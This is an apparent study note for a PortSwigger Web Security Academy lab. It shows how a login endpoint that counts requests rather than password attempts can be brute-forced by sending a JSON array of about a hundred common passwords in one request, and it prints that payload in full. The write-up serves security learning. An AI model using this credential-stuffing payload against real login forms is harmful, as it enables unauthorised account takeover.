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# Broken Brute-Force Protection with Multiple Credentials per Request
Broken Brute-Force Protection with Multiple Credentials per Request notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remedi
### Broken Brute-force Protection, Multiple Credentials Per Request
This lab presents a logical flaw in the protection mechanism against brute force attacks. / The objective is to **find the password of the user carlos** and access its page **My account**.
* **Target user**: `carlos`
* **List of candidate passwords**: provided by the lab
* **Entry point**: login form
**Behavior Observation**
When analyzing the login form, the request sent to the server is in **JSON** format, with the following fields:
```json
{
"username":"carlos",
"password":"password"
}
```
The anti-bruteforce protection appears to be based on the number of \*\* HTTP requests\*\* sent, not the number of \*\* actually tested passwords\*\*.
**Operating logical fault**
Instead of sending a password query, it is possible to transmit **several passwords in a single query**, using a JSON array for the `password` field.
{% code overflow="wrap" %}
```json
{
"username": "carlos",
"password": ["123456","password","12345678","qwerty","123456789","12345","1234","111111","1234567","dragon","123123","baseball","abc123","football","monkey","letmein","shadow","master","666666","qwertyuiop","123321","mustang","1234567890","michael","654321","superman","1qaz2wsx","7777777","121212","000000","qazwsx","123qwe","killer","trustno1","jordan","jennifer","zxcvbnm","asdfgh","hunter","buster","soccer","harley","batman","andrew","tigger","sunshine","iloveyou","2000","charlie","robert","thomas","hockey","ranger","daniel","starwars","klaster","112233","george","computer","michelle","jessica","pepper","1111","zxcvbn","555555","11111111","131313","freedom","777777","pass","maggie","159753","aaaaaa","ginger","princess","joshua","cheese","amanda","summer","love","ashley","nicole","chelsea","biteme","matthew","access","yankees","987654321","dallas","austin","thunder","taylor","matrix","mobilemail","mom","monitor","monitoring","montana","moon","moscow"]
}
```
{% endcode %}
The server \*\* accepts the request\*\* and tests all the passwords contained in the array, **without triggering a blocking mechanism**.
---
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